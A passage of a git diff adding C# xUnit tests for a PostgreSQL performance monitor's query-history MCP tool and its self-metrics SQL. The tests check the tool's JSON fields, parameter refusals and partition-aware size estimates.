+using Npgsql;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <c>get_store_query_history</c> (#5097) against a real server. The history is planted directly in the three tables, so
+/// the figures are exactly what each fact says. Each fact mints its own scratch database.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StoreQueryHistoryToolLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static readonly DateTime Now = DateTime.UtcNow;
+
+    private static string Ts(double hoursAgo) =>
+        "'" + DateTime.SpecifyKind(Now.AddHours(-hoursAgo), DateTimeKind.Unspecified).ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture) + "'";
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlDataSource Source)> StartAsync(CancellationToken ct, bool migrate = true)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the statement history reader's live pins (each mints its own scratch database).");
+        var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        if (migrate)
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+        }
+
+        return (scratch, NpgsqlDataSource.Create(scratch.ConnectionString));
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static Task Capture(NpgsqlDataSource s, double hoursAgo, string outcome, CancellationToken ct, int dealloc = 0, int seen = 3, int kept = 3) =>
+        ExecAsync(s, $"INSERT INTO collect.store_statement_captures VALUES ({Ts(hoursAgo)}, 3600, NULL, 0, {dealloc}, {seen}, {kept}, 0, '{outcome}')", ct);
+
+    private static Task Row(NpgsqlDataSource s, double hoursAgo, long queryId, long calls, double totalMs, string flags, CancellationToken ct, string role = "owner") =>
+        ExecAsync(s, $"INSERT INTO collect.store_statement_history VALUES ({Ts(hoursAgo)}, 3600, '{role}', {queryId}, {calls}, {totalMs.ToString(CultureInfo.InvariantCulture)}, 1, 2, 3, 4, 9.5, {flags})", ct);
+
+    private const string None = "false, false, false";
+
+    [Fact]
+    public async Task TheSeries_IsOldestFirst_WithTheFlags_AndAMeanOfDeltaTotalOverDeltaCalls()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 3.5, "ok", ct);
+            await Capture(source, 2.5, "ok", ct);
+            await Capture(source, 1.5, "ok", ct);
+            await Row(source, 1.5, 9007199254740993, 4, 40, None, ct);
+            await Row(source, 3.5, 9007199254740993, 10, 100, "true, false, false", ct);
+            await Row(source, 2.5, 9007199254740993, 5, 150, "false, false, true", ct);
+
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, query_id: "9007199254740993", cancellationToken: ct);
+            using var doc = JsonDocument.Parse(json);
+            var root = doc.RootElement;
+
+            Assert.Equal("series", root.GetProperty("mode").GetString());
+            Assert.Equal("9007199254740993", root.GetProperty("query_id").GetString());
+            var series = root.GetProperty("series").EnumerateArray().ToArray();
+            Assert.Equal(3, series.Length);
+            Assert.Equal(new[] { 10L, 5L, 4L }, series.Select(r => r.GetProperty("calls").GetInt64()).ToArray());
+            Assert.Equal(new[] { 10d, 30d, 10d }, series.Select(r => r.GetProperty("mean_ms").GetDouble()).ToArray());
+            Assert.True(series[0].GetProperty("first_seen").GetBoolean());
+            Assert.True(series[1].GetProperty("reset_in_interval").GetBoolean());
+            Assert.False(series[2].GetProperty("entry_restarted").GetBoolean());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheRanking_IsByTotalTime_Truncates_AndPrintsTheQueryIdAsAString()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 2.5, "ok", ct);
+            await Capture(source, 1.5, "ok", ct);
+            await Row(source, 2.5, 1, 10, 10, None, ct);
+            await Row(source, 1.5, 1, 10, 10, None, ct);
+            await Row(source, 2.5, 2, 1, 500, None, ct);
+            await Row(source, 2.5, 3, 100, 90, None, ct, role: "viewer");
+
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, top: 2, cancellationToken: ct);
+            using var doc = JsonDocument.Parse(json);
+            var root = doc.RootElement;
+
+            Assert.Equal("ranked", root.GetProperty("mode").GetString());
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            var rows = root.GetProperty("statements").EnumerateArray().ToArray();
+            Assert.Equal(2, rows.Length);
+            Assert.Equal(JsonValueKind.String, rows[0].GetProperty("query_id").ValueKind);
+            Assert.Equal("2", rows[0].GetProperty("query_id").GetString());
+            Assert.Equal("3", rows[1].GetProperty("query_id").GetString());
+            Assert.Equal("viewer", rows[1].GetProperty("role").GetString());
+
+            var all = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, top: 5, cancellationToken: ct)).RootElement;
+            Assert.False(all.GetProperty("truncated").GetBoolean());
+            var one = all.GetProperty("statements").EnumerateArray().First(r => r.GetProperty("query_id").GetString() == "1");
+            Assert.Equal(20L, one.GetProperty("calls").GetInt64());
+            Assert.Equal(1d, one.GetProperty("mean_ms").GetDouble());
+            Assert.Equal(2, one.GetProperty("hours_present").GetInt32());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreWithoutTheRung_AnswersPrecondition()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct, migrate: false);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct);
+
+            Assert.StartsWith("{\"status\":\"precondition\"", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("effective_start", json, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreWithNoCapturesYet_AnswersPrecondition_Bare()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct);
+
+            Assert.StartsWith("{\"status\":\"precondition\"", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("window_truncated", json, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheCapturesSummary_CountsRebaselinedHours_AndTheEvictions()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 3.5, "ok", ct, dealloc: 2);
+            await Capture(source, 2.5, "rebaselined", ct, seen: 0, kept: 0);
+            await Capture(source, 1.5, "ok", ct, dealloc: 3, seen: 150, kept: 100);
+            await Row(source, 1.5, 7, 1, 1, None, ct);
+
+            var root = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct)).RootElement;
+            var captures = root.GetProperty("captures");
+
+            Assert.Equal(3L, captures.GetProperty("count").GetInt64());
+            Assert.Equal(1L, captures.GetProperty("rebaselined").GetInt64());
+            Assert.Equal(5L, captures.GetProperty("dealloc_delta_total").GetInt64());
+            Assert.Equal(1L, captures.GetProperty("capped_hours").GetInt64());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task HistoryStartingInsideTheWindow_IsTruncated_AtTheFirstCapture_AndTheKeysComeAfterHoursBack()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 5.5, "rebaselined", ct, seen: 0, kept: 0);
+            await Capture(source, 4.5, "ok", ct);
+            await Row(source, 4.5, 7, 1, 1, None, ct);
+
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, hours_back: 48, cancellationToken: ct);
+            var root = JsonDocument.Parse(json).RootElement;
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            var start = DateTime.Parse(root.GetProperty("effective_start").GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal);
+            Assert.InRange((Now.AddHours(-5.5) - start).Duration().TotalSeconds, 0, 2);
+            Assert.EndsWith("Z", root.GetProperty("effective_start").GetString(), StringComparison.Ordinal);
+            Assert.Contains("History is kept 90 days and taken hourly.", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToArray();
+            Assert.Equal("hours_back", names[1]);
+            Assert.Equal(new[] { "effective_start", "window_truncated", "truncation_note" }, names.Skip(2).Take(3).ToArray());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task HistoryFromBeforeTheWindow_IsNotTruncated()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 100, "ok", ct);
+            await Capture(source, 1.5, "ok", ct);
+            await Row(source, 1.5, 7, 1, 1, None, ct);
+
+            var root = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, hours_back: 24, cancellationToken: ct)).RootElement;
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AnEmptyWindow_CarriesTheKeysUnderHints()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 100, "ok", ct);
+
+            var root = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, hours_back: 24, cancellationToken: ct)).RootElement;
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.False(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Contains(hints.EnumerateObject(), p => p.Name == "effective_start");
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AFailedEarliestCaptureRead_CostsTheKeys_NotTheAnswer()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 1.5, "ok", ct);
+            await Row(source, 1.5, 7, 1, 1, None, ct);
+
+            DarlingMcpStoreQueryHistoryTools.TestOnlyFailEarliestRead = true;
+            /* The switch is per async flow, so it dies with this test; it is cleared right after the call all the same. */
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct);
+            DarlingMcpStoreQueryHistoryTools.TestOnlyFailEarliestRead = false;
+
+            var root = JsonDocument.Parse(json).RootElement;
+            Assert.Equal("ranked", root.GetProperty("mode").GetString());
+            Assert.DoesNotContain(root.EnumerateObject(), p => p.Name == "effective_start");
+            Assert.DoesNotContain(root.EnumerateObject(), p => p.Name == "window_truncated");
+            Assert.Single(root.GetProperty("statements").EnumerateArray());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheRecentAndEarlierMeans_SplitTheNewestQuarter_AndAreNullUnderFourHours()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            for (var h = 8; h >= 1; h--)
+            {
+                await Capture(source, h + 0.5, "ok", ct);
+            }
+
+            /* Statement 1: eight hours; the newest two (25% of 8) cost 50 ms/call, the six before cost 10 ms/call. */
+            for (var h = 8; h >= 3; h--)
+            {
+                await Row(source, h + 0.5, 1, 10, 100, None, ct);
+            }
+
+            await Row(source, 2.5, 1, 10, 500, None, ct);
+            await Row(source, 1.5, 1, 10, 500, None, ct);
+            /* Statement 2: three hours, too few to split. */
+            for (var h = 3; h >= 1; h--)
+            {
+                await Row(source, h + 0.5, 2, 1, 1, None, ct);
+            }
+
+            var root = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct)).RootElement;
+            var rows = root.GetProperty("statements").EnumerateArray().ToArray();
+            var one = rows.First(r => r.GetProperty("query_id").GetString() == "1");
+            Assert.Equal(50d, one.GetProperty("recent_mean_ms").GetDouble());
+            Assert.Equal(10d, one.GetProperty("earlier_mean_ms").GetDouble());
+            var two = rows.First(r => r.GetProperty("query_id").GetString() == "2");
+            Assert.Equal(JsonValueKind.Null, two.GetProperty("recent_mean_ms").ValueKind);
+            Assert.Equal(JsonValueKind.Null, two.GetProperty("earlier_mean_ms").ValueKind);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AFirstSeenHour_IsCounted_ButNeverFakesASlowdown_AndTheFlagsAreCountedPerStatement()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            for (var h = 8; h >= 1; h--)
+            {
+                await Capture(source, h + 0.5, "ok", ct);
+            }
+
+            /* Steady 10 ms/call for seven hours; the first hour is a first_seen upper bound that credits a lifetime at 1000 ms/call. */
+            await Row(source, 8.5, 7, 10, 10000, "true, false, false", ct);
+            for (var h = 7; h >= 3; h--)
+            {
+                await Row(source, h + 0.5, 7, 10, 100, h == 5 ? "false, true, false" : None, ct);
+            }
+
+            await Row(source, 2.5, 7, 10, 100, "false, false, true", ct);
+            await Row(source, 1.5, 7, 10, 100, None, ct);
+
+            var root = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct)).RootElement;
+            var s7 = root.GetProperty("statements").EnumerateArray().First(r => r.GetProperty("query_id").GetString() == "7");
+            Assert.Equal(1, s7.GetProperty("first_seen_hours").GetInt32());
+            Assert.Equal(1, s7.GetProperty("restarted_hours").GetInt32());
+            Assert.Equal(1, s7.GetProperty("reset_hours").GetInt32());
+            Assert.Equal(8, s7.GetProperty("hours_present").GetInt32());
+            Assert.Equal(10d, s7.GetProperty("recent_mean_ms").GetDouble());
+            Assert.Equal(10d, s7.GetProperty("earlier_mean_ms").GetDouble());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheRoleFilter_KeepsOnlyThatRolesRows_InBothModes()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 1.5, "ok", ct);
+            await Row(source, 1.5, 5, 1, 10, None, ct, role: "owner");
+            await Row(source, 1.5, 5, 3, 30, None, ct, role: "viewer");
+
+            var ranked = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, role: "viewer", cancellationToken: ct)).RootElement;
+            var only = Assert.Single(ranked.GetProperty("statements").EnumerateArray());
+            Assert.Equal("viewer", only.GetProperty("role").GetString());
+            Assert.Equal(3L, only.GetProperty("calls").GetInt64());
+
+            var series = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, query_id: "5", role: "owner", cancellationToken: ct)).RootElement;
+            var row = Assert.Single(series.GetProperty("series").EnumerateArray());
+            Assert.Equal(1L, row.GetProperty("calls").GetInt64());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreWhoseCapturesAllCouldNotReadTheExtension_AnswersPrecondition_WithTheReason()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 2.5, "precondition", ct);
+            await Capture(source, 1.5, "precondition", ct);
+
+            var json = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct);
+            Assert.StartsWith("{\"status\":\"precondition\"", json, StringComparison.Ordinal);
+            Assert.Contains("could not read pg_stat_statements", json, StringComparison.Ordinal);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AnUnusableReaderNow_StillAnswersTheHistory_WithTextUnavailable_AndATextNote()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, source) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = source;
+        var ok = false;
+        try
+        {
+            await Capture(source, 1.5, "ok", ct);
+            await Row(source, 1.5, 11, 2, 20, None, ct);
+
+            /* A scratch database has no pg_stat_statements loaded, so the reader is not usable now. */
+            var ranked = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, cancellationToken: ct)).RootElement;
+            Assert.Equal("ranked", ranked.GetProperty("mode").GetString());
+            var note = ranked.GetProperty("text_note").GetString();
+            Assert.False(string.IsNullOrEmpty(note));
+            Assert.Equal("text unavailable", ranked.GetProperty("statements")[0].GetProperty("query").GetString());
+
+            var series = JsonDocument.Parse(await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(source, query_id: "11", cancellationToken: ct)).RootElement;
+            Assert.Equal("text unavailable", series.GetProperty("query").GetString());
+            Assert.Equal(note, series.GetProperty("text_note").GetString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StoreQueryHistoryToolTests.cs b/Darling/Darling.Tests/StoreQueryHistoryToolTests.cs
new file mode 100644
index 0000000000..b9bd3a8703
--- /dev/null
+++ b/Darling/Darling.Tests/StoreQueryHistoryToolTests.cs
@@ -0,0 +1,68 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The refusals of <c>get_store_query_history</c> (#5097), which are decided before any read.</summary>
+public sealed class StoreQueryHistoryToolTests
+{
+    [Theory]
+    [InlineData(0, 24, "top")]
+    [InlineData(1001, 24, "top")]
+    [InlineData(20, 0, "hours_back")]
+    [InlineData(20, 2161, "hours_back")]
+    public async Task ABadTopOrWindow_IsRefused_NamingTheParameter(int top, int hours, string parameter)
+    {
+        await using var unreachable = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=nobody;Password=nothing;Timeout=1");
+
+        var result = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(unreachable, top: top, hours_back: hours, cancellationToken: TestContext.Current.CancellationToken);
+
+        Assert.StartsWith("{\"status\":\"invalid\"", result, StringComparison.Ordinal);
+        Assert.Contains($"\"parameter\":\"{parameter}\"", result, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTextRead_KeepsTheSharedSensitiveStatementPredicate_OnTopOfTheReaderFunctionsOwnFilter()
+    {
+        /* #5097: the diagnostics bundle applied the shared predicate in its own statement-text read and now reads the text through
+           this tool, so the tool's read applies it: a store whose reader function is older than the pattern still withholds. The
+           predicate wraps the text the read chooses (max(query) per query id), so it is the shown text that is tested. */
+        Assert.Contains(PgSensitiveStatementFilter.SqlPredicate("max(f.query)"), DarlingMcpStoreQueryHistoryTools.TextSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ABadRole_IsRefused_ListingTheRoles()
+    {
+        await using var unreachable = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=nobody;Password=nothing;Timeout=1");
+
+        var result = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(unreachable, role: "darling", cancellationToken: TestContext.Current.CancellationToken);
+
+        Assert.Contains("\"parameter\":\"role\"", result, StringComparison.Ordinal);
+        Assert.Contains("viewer", result, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("abc")]
+    [InlineData("1.5")]
+    [InlineData("99999999999999999999")]
+    public async Task ANonNumericQueryId_IsRefused(string queryId)
+    {
+        await using var unreachable = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Username=nobody;Password=nothing;Timeout=1");
+
+        var result = await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(unreachable, query_id: queryId, cancellationToken: TestContext.Current.CancellationToken);
+
+        Assert.Contains("\"parameter\":\"query_id\"", result, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreSelfMetricsTests.cs b/Darling/Darling.Tests/StoreSelfMetricsTests.cs
index 7b8c973d2b..eafc931d3b 100644
--- a/Darling/Darling.Tests/StoreSelfMetricsTests.cs
+++ b/Darling/Darling.Tests/StoreSelfMetricsTests.cs
@@ -189,7 +189,7 @@ TimescaleSupport detection and a plain-PG store skips it silently. */
     }
 
     [Fact]
-    public void DimensionInsertSql_CoversBothPayloadDims_WithTotalRelationSizeAndExactRowCount()
+    public void DimensionInsertSql_CoversBothPayloadDims_WithTotalRelationSizeAndTheEstimatedRowCount()
     {
         var sql = StoreSelfMetrics.DimensionInsertSql;
 
@@ -201,7 +201,9 @@ biggest forecasting term a stored series. pg_total_relation_size because the pla
         Assert.Contains(PayloadDimensions.QueryPlanDimTable, sql, StringComparison.Ordinal);
         Assert.Contains("pg_total_relation_size", sql, StringComparison.Ordinal);
         Assert.Contains("'dimension'", sql, StringComparison.Ordinal);
-        Assert.Contains("count(*)", sql, StringComparison.Ordinal);
+        /* #5520: the planner's estimate, NULL where it is -1, never a count(*) over a table this size every hour. */
+        Assert.Contains("CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("count(*)", sql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -302,9 +304,19 @@ public void TableInsertSql_NamesTheSevenProductTables_AndTheCensusExcludesExactl
         foreach (var table in qualified)
         {
             Assert.Contains($"'{table}',", sql, StringComparison.Ordinal);
-            Assert.Contains($"pg_total_relation_size('{table}')", sql, StringComparison.Ordinal);
-            /* The planner's estimate, NULL where it is -1 (never analysed) — never a 15 GiB count(*) an hour. */
-            Assert.Contains($"(SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class c WHERE c.oid = '{table}'::regclass)", sql, StringComparison.Ordinal);
+            if (table is "collect." + QueryStoreIntervalLatest.TableName or "collect." + QueryStoreIntervalWide.TableName)
+            {
+                /* #5571: a day-partitioned parent has no storage of its own (its size reads 0), so its row sums the
+                   LEAF partitions through pg_partition_tree, bytes and the reltuples estimate alike. */
+                Assert.Contains($"COALESCE((SELECT sum(pg_total_relation_size(t.relid)) FROM pg_partition_tree('{table}'::regclass) AS t WHERE t.isleaf), pg_total_relation_size('{table}'))::bigint", sql, StringComparison.Ordinal);
+                Assert.Contains($"(SELECT sum(c.reltuples)::bigint FROM pg_class AS c WHERE c.reltuples >= 0 AND (c.oid IN (SELECT t.relid FROM pg_partition_tree('{table}'::regclass) AS t WHERE t.isleaf) OR", sql, StringComparison.Ordinal);
+            }
+            else
+            {
+                Assert.Contains($"pg_total_relation_size('{table}')", sql, StringComparison.Ordinal);
+                /* The planner's estimate, NULL where it is -1 (never analysed) — never a 15 GiB count(*) an hour. */
+                Assert.Contains($"(SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class c WHERE c.oid = '{table}'::regclass)", sql, StringComparison.Ordinal);
+            }
 
             /* The census names the same table by the same compound constant, compared against the
                concatenated schema.relation — no hand-typed (schema, relation) tuple to drift (review catch). */
@@ -380,6 +392,15 @@ without updating one of the three lists fails here — the census's whole point.
             ["collect.store_log_captures"] = "self-telemetry about the store's own logging, not collected monitoring data",
             ["collect.read_latency"] = "internal self-telemetry (the read-path histogram), not collected monitoring data (V148 doc)",
             ["collect.pg_statement_text"] = "dimension-shaped content keyed to facts rather than collected as facts, pruned on last_seen (V73 doc)",
+            ["collect.query_stats_hour_ledger"] = "the hourly row count of query_stats the count guard reads, one row per server per hour and pruned to the hourly rollup's horizon, not collected monitoring data (V164 doc)",
+            ["collect.query_stats_hour_ledger_state"] = "one row saying from which hour the ledger is complete, bytes too small to matter (V164 doc)",
+            ["collect.store_statement_captures"] = "internal self-telemetry (the store's statement history captures), not collected monitoring data (V163 doc)",
+            ["collect.store_statement_history"] = "internal self-telemetry (the store's statement history), pruned to 90 days by its own writer, not collected monitoring data (V163 doc)",
+            ["collect.slow_reads"] = "internal self-telemetry (the slow-read record), not collected monitoring data (V162 doc)",
+            ["collect.query_store_top_daily"] = "the daily summary the Query Store top read uses, approximate by design and rebuilt from the interval table (V161 doc)",
+            ["collect.plan_regression_daily"] = "the per-day plan totals PLAN_REGRESSION reads for closed days, rebuilt from the interval table (V168 doc)",
+            ["collect.plan_regression_daily_built"] = "per-day build and validity bookkeeping for the per-day plan totals, bytes too small to matter (V168 doc)",
+            ["collect.query_store_top_daily_built"] = "per-day build bookkeeping for the daily summary, bytes too small to matter (V161 doc)",
             ["collect.plan_force_actions"] = "the force-plan bot's append-only audit ledger, not collected monitoring data (V107 doc)",
         };
 
@@ -563,6 +584,98 @@ public void NoDarlingProductSqlReadsTheChunkCatalog()
         Assert.Empty(offenders);
     }
 
+    /// <summary>
+    /// #5520: the dimension rows' <c>row_count</c> is the planner's estimate, and the comment on the dimension
+    /// insert in <see cref="StoreSelfMetrics"/> says no reader computes from it. This pins that claim: in the
+    /// product source, a use of a store-metrics row's <c>RowCount</c> is a record parameter, a verbatim pass
+    /// through to the tool answer, or the owner-job-history evidence (a job row's own count, never a dimension's),
+    /// and the only reader of the column from the store is the metrics reader. A new use that does arithmetic, a
+    /// comparison or a threshold on it fails here, so the author decides whether an estimate that moves in steps
+    /// is fit for it.
+    /// </summary>
+    [Fact]
+    public void NoReaderComputesFromADimensionRowCount()
+    {
+        var root = RepoRoot();
+        var offenders = new List<string>();
+        var scanned = 0;
+        var passThroughs = 0;
+        var allowed = new[]
+        {
+            @"^long\? RowCount,$",
+            @"^row_count = \w+\.RowCount,$",
+            @"^var status = row\.RowCount is null \? OwnerJobHistoryEvidenceStatus\.Filtered$",
+            @"^row\.RowCount,$",
+        };
+
+        foreach (var project in new[]
+        {
+            "PerformanceMonitor.Darling.Storage", "PerformanceMonitor.Darling.Service",
+            "PerformanceMonitor.Darling.Analysis", "PerformanceMonitor.Darling.Viewer",
+        })
+        {
+            var dir = Path.Combine(root, "Darling", project);
+            Assert.True(Directory.Exists(dir), $"product project not found: {dir}");
+
+            foreach (var path in Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories))
+            {
+                var relative = Path.GetRelativePath(dir, path);
+                var top = relative.Split(Path.DirectorySeparatorChar)[0];
+                if (string.Equals(top, "bin", StringComparison.OrdinalIgnoreCase)
+                    || string.Equals(top, "obj", StringComparison.OrdinalIgnoreCase))
+                {
+                    continue;
+                }
+
+                scanned++;
+                var text = File.ReadAllText(path);
+                var name = Path.GetFileName(path);
+
+                /* The store's own column: read by the metrics reader, written by the self-metrics collector, created by a migration. */
+                if (text.Contains("collect.store_metrics", StringComparison.Ordinal)
+                    && Regex.IsMatch(text, @"\brow_count\b")
+                    && name is not ("DarlingStoreMetricsReader.cs" or "StoreSelfMetrics.cs" or "PgMigrations.cs"))
+                {
+                    offenders.Add($"{project}/{relative}: reads store_metrics.row_count outside the metrics reader");
+                }
+
+                if (!text.Contains("StoreMetricRow", StringComparison.Ordinal)
